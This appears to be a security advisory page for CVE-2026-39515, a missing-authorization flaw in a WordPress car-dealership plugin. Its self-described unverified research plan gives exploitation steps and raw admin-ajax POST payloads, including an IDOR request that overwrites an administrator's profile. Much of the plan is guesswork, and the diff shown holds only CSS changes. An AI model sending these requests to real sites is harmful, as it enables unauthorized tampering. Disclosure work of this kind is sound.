CVE-2026-39515

Motors – Car Dealership & Classified Listings Plugin < 1.4.107 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.4.107
Patched in
10d
Time to patch

Description

The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to 1.4.107. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<1.4.107
PublishedApril 21, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v1.4.107

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan targets a missing authorization vulnerability in the **Motors – Car Dealership & Classified Listings Plugin** (CVE-2026-39515). The vulnerability allows authenticated users with Subscriber-level access to perform unauthorized actions, likely related to the "Listing Manager" functionality u…

Show full research plan

This plan targets a missing authorization vulnerability in the Motors – Car Dealership & Classified Listings Plugin (CVE-2026-39515). The vulnerability allows authenticated users with Subscriber-level access to perform unauthorized actions, likely related to the "Listing Manager" functionality used to handle car inventory features and options.

1. Vulnerability Summary

The plugin implements a "Listing Manager" interface that handles car inventory attributes via AJAX. Several AJAX actions, specifically listing_manager_save_form, appear to lack adequate capability checks (current_user_can) or ownership checks (ensuring the user owns the listing_id being modified). This allows a Subscriber to modify car listing data or taxonomy terms (features) that should be restricted to listing owners or administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: listing_manager_save_form (and potentially listing_manager_get_form)
  • Authentication: Required (Subscriber level or above).
  • Payload Parameters:
    • action: listing_manager_save_form
    • nonce: A valid security nonce (localized in the Listing Manager scripts).
    • listing_id: The ID of a vehicle listing to modify (Target: an IDOR opportunity).
    • listing_manager_page_id: features or option.
    • template: term-features.
    • term_name: A new feature name to inject into the system.
    • order: (Optional) Array of field slugs and orders.

3. Code Flow

  1. Entry Point: The AJAX action listing_manager_save_form is triggered via POST.
  2. JS Source: assets/js/listing-manager/listing-manager-features.js (lines 104-129) and assets/js/listing-manager/listing-manager-options.js.
  3. Vulnerable Sink (PHP): The PHP handler for listing_manager_save_form (likely in an includes/ directory not fully provided, but referenced by JS) fails to verify that the current_user_can('manage_options') or that the current user is the post_author of the listing_id.
  4. Execution: The handler processes the term_name or data and uses wp_set_object_terms() or update_post_meta() to save changes to the database.

4. Nonce Acquisition Strategy

The Listing Manager scripts rely on nonces named nonce and nonce_get_form. These are localized via wp_localize_script.

  1. Identify Page: The Listing Manager is active on the "Add Car" or "Edit Car" pages of the dealership dashboard.
  2. Create Setup: Ensure the plugin is configured to allow users to add listings.
  3. Extraction:
    • Log in as a Subscriber.
    • Navigate to the inventory management or "Add Car" page (e.g., /?page_id=[ID_of_add_car_page]).
    • Use browser_eval to inspect the global scope. The variables are likely part of a localized object.
    • Verified JS Identifiers:
      • Object likely: window.listingManager or window.mvl_listing_manager_vars.
      • Key: nonce or nonce_get_form.
    • Alternative: The nonces might be directly in the global scope if localized incorrectly. Check window.nonce.

5. Exploitation Strategy

The goal is to use a Subscriber account to add a new "Feature" term to an Administrator's car listing.

  1. Step 1: Setup Content: Create a car listing as an Administrator. Note its listing_id.
  2. Step 2: Obtain Nonce: Navigate to the dealership dashboard as a Subscriber and extract the nonce variable.
  3. Step 3: Execute Unauthorized Modification:
    • Send a POST request to admin-ajax.php.
    • Target the Administrator's listing_id.
    • Request Details:
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=listing_manager_save_form&nonce=[EXTRACTED_NONCE]&listing_id=[ADMIN_LISTING_ID]&template=term-features&listing_manager_page_id=features&term_name=VULN_CHECK_FEATURE
      
  4. Step 4: Verify Success: Check if a new taxonomy term "VULN_CHECK_FEATURE" was created and associated with the Administrator's listing.

6. Test Data Setup

  1. Administrator: Default admin.
  2. Car Listing: Use WP-CLI to create a listing.
    wp post create --post_type=listings --post_title="Admin Car" --post_status=publish --post_author=1
    
    (Note: post_type might be stm-listings or listings depending on plugin config; check with wp post-type list).
  3. Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  4. Plugin Config: Ensure the "Listing Manager" is active in Motors settings.

7. Expected Results

  • The AJAX response should return {"success":true, "data": {...}}.
  • The system will create a new term in the stm_features (or similar) taxonomy.
  • The Administrator's listing will now have the unauthorized feature associated with it.

8. Verification Steps

  1. Check Metadata/Terms via WP-CLI:
    # List terms for the Admin's car ID
    wp post term list [ADMIN_LISTING_ID] stm_features
    
  2. Check for Global Term Creation:
    wp term list stm_features --search=VULN_CHECK_FEATURE
    

9. Alternative Approaches

If listing_manager_save_form is not accessible, target the user profile update handler which also uses a nonce and lacks specific auth checks:

  • Action: stm_listings_ajax_save_user_data
  • Nonce: stm_listings_user_data_nonce (found in assets/js/frontend/init.js).
  • Payload: Attempt to send a user_id parameter matching the Administrator's ID to perform an IDOR profile update.
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----Exploit
    
    ------Exploit
    Content-Disposition: form-data; name="action"
    
    stm_listings_ajax_save_user_data
    ------Exploit
    Content-Disposition: form-data; name="security"
    
    [stm_listings_user_data_nonce]
    ------Exploit
    Content-Disposition: form-data; name="user_id"
    
    1
    ------Exploit
    Content-Disposition: form-data; name="first_name"
    
    PWNED
    ------Exploit--
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Motors – Car Dealership & Classified Listings Plugin for WordPress is vulnerable to unauthorized data modification due to missing capability and ownership checks in AJAX handlers such as listing_manager_save_form. This allows authenticated attackers with subscriber-level access to modify vehicle listing attributes (like features or taxonomy terms) belonging to other users via Insecure Direct Object Reference (IDOR).

Vulnerable Code

// assets/js/listing-manager/listing-manager-features.js (lines 118-129)
$.ajax({
    url: ajaxurl,
    type: 'POST',
    data: {
        action: 'listing_manager_save_form',
        nonce: nonce,
        template: 'term-features',
        listing_manager_page_id: 'features',
        term_name: newValue
    },
---
// assets/js/listing-manager/listing-manager-options.js (lines 280-286)
return {
    action: 'listing_manager_get_form',
    nonce: nonce_get_form,
    listing_id: listingId,
    listing_manager_page_id: 'option'
};

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motors-car-dealership-classified-listings/1.4.106/assets/css/frontend/inventory.css /home/deploy/wp-safety.org/data/plugin-versions/motors-car-dealership-classified-listings/1.4.107/assets/css/frontend/inventory.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motors-car-dealership-classified-listings/1.4.106/assets/css/frontend/inventory.css	2025-07-10 13:17:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motors-car-dealership-classified-listings/1.4.107/assets/css/frontend/inventory.css	2026-03-31 13:07:30.000000000 +0000
@@ -40,7 +40,8 @@
     letter-spacing: -0.3px;
 }
 
-.archive-listing-page input[type=text], .archive-listing-page input[type=search] {
+.archive-listing-page input[type=text],
+.archive-listing-page input[type=search] {
     height: 40px;
     line-height: 40px;
 }
@@ -201,6 +202,7 @@
     color: var(--motors-filter-field-text-color);
     border: 1px solid var(--motors-filter-field-link-color);
     box-shadow: none;
+    justify-content: center;
 }
 
 .archive-listing-page .sidebar-action-units .button:hover {
@@ -238,7 +240,8 @@
     font-size: 14px;
 }
 
-.archive-listing-page_content .stm-sort-by-options .stm-select-sorting .select2 .select2-selection--single, .archive-listing-page_content .stm-sort-by-options .stm-select-sorting .select2 .select2-selection__rendered {
+.archive-listing-page_content .stm-sort-by-options .stm-select-sorting .select2 .select2-selection--single,
+.archive-listing-page_content .stm-sort-by-options .stm-select-sorting .select2 .select2-selection__rendered {
     height: 32px;
     line-height: 32px;
 }
@@ -291,6 +294,7 @@
 .archive-listing-page .sidebar-entry-header {
     display: flex;
     align-items: center;
+    padding: 26px 22px;
 }
 
 .archive-listing-page .sidebar-entry-header i {
... (truncated)

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php. An attacker with a Subscriber-level account must first obtain a valid security nonce (e.g., 'nonce' or 'nonce_get_form') localized in the Listing Manager's JavaScript environment on the dashboard. By crafting a POST request with the 'listing_manager_save_form' action and providing a target 'listing_id' belonging to an Administrator, the attacker can bypass authorization checks to modify that listing's metadata, such as injecting new taxonomy terms (features) or altering listing options. The vulnerability exists because the server-side handler fails to verify that the current user has the necessary permissions or is the owner of the specified listing ID.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.